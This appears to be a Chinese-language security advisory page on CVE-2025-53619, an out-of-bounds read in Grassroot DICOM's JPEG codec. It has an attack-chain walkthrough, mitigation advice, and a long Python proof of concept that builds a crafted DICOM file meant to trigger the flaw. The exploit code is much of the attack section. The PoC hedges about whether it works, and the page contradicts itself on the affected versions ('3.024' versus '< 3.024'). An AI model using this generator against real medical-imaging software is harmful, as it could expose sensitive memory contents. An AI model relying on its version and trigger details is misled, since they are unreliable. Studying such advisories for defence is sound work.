IPBUF安全漏洞报告
English
CVE-2025-53619 CVSS 7.4 高危

CVE-2025-53619 | Grassroot DICOM JPEGBITSCodec越界读取漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-53619
漏洞类型
越界读取
CVSS评分
7.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grassroot DICOM

相关标签

越界读取信息泄露Grassroot DICOMJPEGBITSCodec医学影像软件本地攻击无需认证DICOM标准JPEG压缩内存安全

漏洞概述

CVE-2025-53619是Grassroot DICOM软件中的一个高危安全漏洞,CVSS评分达到7.4。该漏洞存在于JPEGBITSCodec::InternalCode功能组件中,是一个越界读取(Out-of-Bounds Read)漏洞。攻击者可以通过精心构造恶意的DICOM医学影像文件来触发此漏洞,导致敏感信息泄露。

Grassroot DICOM是一款开源的DICOM(医学数字成像和通信)标准实现软件,广泛应用于医学影像处理和传输领域。该漏洞的核心问题在于JPEGBITSCodec组件在解析DICOM文件中的JPEG压缩图像数据时,未能正确验证输入数据的边界。当处理特制的恶意DICOM文件时,程序会错误地调用null_convert函数,该函数根据文件中指定的像素数据解释方式进行处理,但由于缺乏适当的边界检查,导致可以读取超出预定内存缓冲区的数据。

由于攻击向量为本地攻击(AV:L),且不需要认证和用户交互,具有本地访问权限的攻击者可以向目标系统提供恶意DICOM文件来利用此漏洞。漏洞的成功利用可能导致内存中的敏感信息(如密钥、凭据、或其他应用数据)被泄露,对系统的机密性造成严重威胁。

技术细节

该漏洞的技术根源在于Grassroot DICOM 3.024版本中JPEGBITSCodec::InternalCode函数对DICOM文件中嵌入的JPEG压缩数据的处理存在缺陷。具体问题如下:

1. **漏洞位置**:JPEGBITSCodec::InternalCode函数在解析DICOM文件的像素数据时调用null_convert函数。null_convert函数根据DICOM文件中指定的值来决定图像像素数据的解释方式。

2. **根因分析**:程序在处理JPEG压缩的DICOM图像时,缺乏对输入数据长度和格式的充分验证。当DICOM文件中的某些字段被恶意构造时,null_convert函数会按照攻击者指定的方式解释像素数据,但未进行边界检查。

3. **越界读取机制**:由于缺少边界验证,当程序尝试读取JPEG解码后的像素数据时,可以访问超出分配缓冲区边界之外的内存地址,从而实现越界读取。

4. **信息泄露**:读取的超出边界的数据会被程序当作正常像素数据处理,可能被返回给攻击者或写入到输出文件中,导致内存中的敏感信息泄露。

5. **触发条件**:攻击者需要创建一个特制的DICOM文件,其中包含恶意构造的JPEG压缩像素数据和相关的元数据字段,以触发JPEGBITSCodec::InternalCode中的越界读取路径。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者首先获取Grassroot DICOM 3.024软件,分析其JPEGBITSCodec组件的处理逻辑。通过研究DICOM文件格式和JPEG压缩规范,攻击者确定如何构造能够触发JPEGBITSCodec::InternalCode漏洞的恶意文件结构。
STEP 2
步骤2: 恶意DICOM文件构造
攻击者创建一个特制的DICOM文件,该文件包含精心构造的JPEG压缩像素数据。关键在于修改DICOM文件中的Photometric Interpretation、BitsAllocated等字段值,以及JPEG数据中的特定标记,使JPEGBITSCodec::InternalCode在调用null_convert函数时产生边界错误。
STEP 3
步骤3: 文件投递
攻击者通过各种方式将恶意DICOM文件投递到目标系统。由于CVSS向量显示攻击向量为本地(AV:L),攻击者需要具有本地访问权限,可以通过物理访问、电子邮件、文件共享或可移动介质等方式将恶意文件传递给目标用户。
STEP 4
步骤4: 漏洞触发
当目标用户使用Grassroot DICOM 3.024打开恶意DICOM文件时,程序会解析文件内容并调用JPEGBITSCodec::InternalCode函数处理JPEG压缩的像素数据。该函数根据文件中的值调用null_convert函数,但由于缺乏边界检查,程序会尝试读取超出分配缓冲区边界之外的内存数据。
STEP 5
步骤5: 信息泄露
越界读取的数据被程序当作正常像素数据处理,可能被返回给攻击者或包含在导出的图像文件中。攻击者可以获取内存中的敏感信息,如其他应用程序的数据、密钥、会话令牌或其他机密内容,从而实现情报收集或进一步的攻击利用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53619 PoC - Malicious DICOM File Generator # This PoC demonstrates the structure needed to trigger the vulnerability # in Grassroot DICOM JPEGBITSCodec::InternalCode import struct import os def create_malicious_dicom(): """ Create a malicious DICOM file to trigger CVE-2025-53619 The vulnerability is in JPEGBITSCodec::InternalCode functionality where null_convert is called based on malicious file specifications """ # DICOM File Meta Information preamble = b'\x00' * 128 # 128-byte preamble prefix = b'DICM' # DICOM prefix # Group 0002 Elements (File Meta Information) meta_elements = b'' meta_elements += create_element(0x0002, 0x0001, b'1.2.840.10008.5.1.4.1.1.2') # Media Storage SOP Class meta_elements += create_element(0x0002, 0x0002, b'1.2.3.4.5.6.7.8.9.0') # Media Storage SOP Instance meta_elements += create_element(0x0002, 0x0010, b'1.2.840.10008.1.2') # Transfer Syntax # Patient Information patient_elements = b'' patient_elements += create_element(0x0010, 0x0010, b'Patient^Test') # Study Information study_elements = b'' study_elements += create_element(0x0020, 0x000D, b'1.2.3.4.5.6.7.8.9.1') # Series Information series_elements = b'' series_elements += create_element(0x0020, 0x000E, b'1.2.3.4.5.6.7.8.9.2') # Image Information - KEY FOR EXPLOIT # The vulnerability is triggered through JPEG compressed pixel data # where JPEGBITSCodec::InternalCode calls null_convert based on # the BitsAllocated and other photometric interpretation values image_elements = b'' image_elements += create_element(0x0028, 0x0004, b'MONOCHROME1') # PhotometricInterpretation image_elements += create_element(0x0028, 0x0010, b'512') # Rows image_elements += create_element(0x0028, 0x0011, b'512') # Columns image_elements += create_element(0x0028, 0x0100, b'\x00\x10') # BitsAllocated (16-bit) image_elements += create_element(0x0028, 0x0101, b'\x00\x10') # BitsStored image_elements += create_element(0x0028, 0x0102, b'\x00\x0F') # HighBit image_elements += create_element(0x0028, 0x0103, b'\x00\x01') # PixelRepresentation # Malicious JPEG data that triggers out-of-bounds read # The null_convert function will interpret this data incorrectly malicious_jpeg = create_malicious_jpeg_data() image_elements += create_element(0x7FE0, 0x0010, malicious_jpeg) # PixelData # Combine all elements file_meta = preamble + prefix + meta_elements dataset = patient_elements + study_elements + series_elements + image_elements return file_meta + dataset def create_element(group, element, value): """Create a DICOM element with explicit VR""" tag = struct.pack('>HH', group, element) # Determine VR based on tag if group == 0xFFFE: vr = b'\x00\x00' length = struct.pack('<I', len(value)) return tag + length + value elif len(value) < 256: vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN' length = struct.pack('>H', len(value)) return tag + vr + length + value else: vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN' length = struct.pack('<I', len(value)) reserved = b'\x00\x00' return tag + vr + reserved + length + value def create_malicious_jpeg_data(): """ Create JPEG data that triggers the vulnerability in JPEGBITSCodec::InternalCode The crafted data causes null_convert to be called with values leading to OOB read """ # JPEG SOI marker jpeg = b'\xFF\xD8' # Crafted JPEG APP0 marker with malicious parameters # This influences how JPEGBITSCodec interprets the pixel data app0_length = 18 jpeg += b'\xFF\xE0' + struct.pack('>H', app0_length) jpeg += b'JFIF\x00' # Identifier jpeg += b'\x01\x01' # Version 1.1 jpeg += b'\x00' # Aspect ratio units jpeg += b'\x01\x00' # X density jpeg += b'\x01\x00' # Y density jpeg += b'\x00\x00' # Thumbnail # Crafted DQT (Define Quantization Table) marker # Malformed table values to trigger vulnerability dqt_length = 67 jpeg += b'\xFF\xDB' + struct.pack('>H', dqt_length) jpeg += b'\x00' # Table 0, 8-bit precision for i in range(64): # Crafted quantization values jpeg += bytes([min(255, (i * 17) % 256)]) # Crafted SOF0 (Start of Frame) marker # Values chosen to trigger null_convert in JPEGBITSCodec sof_length = 17 jpeg += b'\xFF\xC0' + struct.pack('>H', sof_length) jpeg += b'\x08' # Precision (8 bits) jpeg += b'\x02\x00' # Height (512) jpeg += b'\x02\x00' # Width (512) jpeg += b'\x01' # Number of components (1 = grayscale) jpeg += b'\x01\x11\x00' # Component 1: ID=1, sampling=1x1, quant table=0 # Add more crafted markers to complete the JPEG structure # The key is to create data that will cause JPEGBITSCodec::InternalCode # to call null_convert with values leading to out-of-bounds read # DHT (Define Huffman Table) - DC table dht_length = 31 jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length) jpeg += b'\x00' # DC table 0 jpeg += b'\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00' jpeg += b'\x00\x00\x00\x00\x00\x00\x00\x00' jpeg += b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B' # DHT - AC table dht_length = 181 jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length) jpeg += b'\x10' # AC table 0 jpeg += b'\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D' jpeg += b'\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61' jpeg += b'\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52' jpeg += b'\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A' jpeg += b'\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43' jpeg += b'\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59' jpeg += b'\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77' jpeg += b'\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94' jpeg += b'\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9' jpeg += b'\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5' jpeg += b'\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA' jpeg += b'\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4' jpeg += b'\xF5\xF6\xF7\xF8\xF9\xFA' # SOS (Start of Scan) marker sos_length = 12 jpeg += b'\xFF\xDA' + struct.pack('>H', sos_length) jpeg += b'\x01' # Number of components jpeg += b'\x01\x00' # Component 1: DC=0, AC=0 jpeg += b'\x00\x3F\x00' # Spectral selection # Compressed scan data with crafted values # These values are designed to trigger the vulnerability for _ in range(100): jpeg += b'\xFF\x00' # Padding with potential trigger values # Fill with data that may cause buffer overflow jpeg += b'\xFF' * 1000 # EOI (End of Image) marker jpeg += b'\xFF\xD9' return jpeg def main(): """Generate malicious DICOM file for CVE-2025-53619""" print("[*] Generating malicious DICOM file for CVE-2025-53619") print("[*] Target: Grassroot DICOM 3.024") print("[*] Vulnerability: Out-of-bounds read in JPEGBITSCodec::InternalCode") malicious_file = create_malicious_dicom() output_path = 'CVE-2025-53619_malicious.dcm' with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DICOM file created: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print("[+] To trigger vulnerability, open this file in Grassroot DICOM 3.024") if __name__ == '__main__': main()

影响范围

Grassroot DICOM < 3.024

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 限制对未知来源DICOM文件的处理,对所有传入的DICOM文件进行安全扫描;2) 在沙箱环境中打开和处理DICOM文件,隔离潜在的攻击;3) 禁用或限制Grassroot DICOM处理来自不可信来源的文件;4) 监控系统日志,密切关注与DICOM文件处理相关的异常行为;5) 考虑使用替代的DICOM查看软件,直到漏洞得到修复;6) 对处理DICOM文件的系统实施网络隔离,防止攻击者通过横向移动利用泄露的信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表